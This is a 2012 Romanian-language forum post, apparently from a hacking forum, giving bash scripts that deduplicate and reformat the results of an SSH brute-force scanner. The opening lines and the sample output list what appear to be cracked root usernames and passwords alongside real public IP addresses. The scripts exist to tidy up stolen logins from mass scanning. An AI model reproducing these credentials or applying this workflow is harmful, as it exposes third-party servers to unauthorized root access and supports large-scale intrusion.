ionutz15 Posted September 1, 2012 Report Posted September 1, 2012 DUP root:1qaz2wsx:223.255.133.18DUP root:2wsxzaq1:223.255.133.18DUP root:123qwe:223.255.133.18DUP root:123qwe:223.255.133.18DUP root:p@ssw0rd:99.23.22.217DUP root:qwerty:99.23.22.217DUP root:123456:99.23.22.217Cred, ca multi dintre voi au întâmpinat "problema" asta cu ssh-scan, sau faimosul "go.sh".# Cream un fisier cu numele 1 .#!/bin/bashB=$1while read line; dodup=$(echo $line |cut -d " " -f 1)if [ $dup ] ; thenif [ $dup == DUP ] ; thenip=$(echo $line |cut -d ":" -f 3) echo "$ip" >>dup.txtfifidone < $B# Cream un fisier care il numim 2 .#!/bin/bashB=$1while read line; docat vuln.txt |grep -v "$line" >>vuln1.txtmv vuln1.txt vuln.txtsleep 1done < $B# Cream un fisier cu numele 3 .#!/bin/bashB=$1while read line; doecho "[sSH] Username: $(echo $line |cut -d ":" -f 1) Password: $(echo $line |cut -d ":" -f 2) IP: $(echo $line |cut -d ":" -f 3)" >>eof.txtdone < $B# Cream fi?ierul numit clean echo -e "[sSH] Cleaning up..."./1 vuln.txtsleep 2cat dup.txt |sort -u >>dup2.txt./2 dup2.txtsleep 2./3 vuln.txtsleep 2rm -rf dup.txt dup2.txt bios.txt cleanlist mfu.txtcat eof.txtAcum avem fi?ierele 1 , 2 , 3 si clean.Dam permisiuni fisierelor: chmod +x 1 2 3 cleanDupa ce scannerul a terminat treaba rulam ./cleanRezultatul:[sSH] Username: root Password: password IP: 107.18.124.124[sSH] Username: root Password: password IP: 107.20.251.236[sSH] Username: root Password: 123456 IP: 107.21.141.79[sSH] Username: root Password: 123456 IP: 107.22.68.229 Quote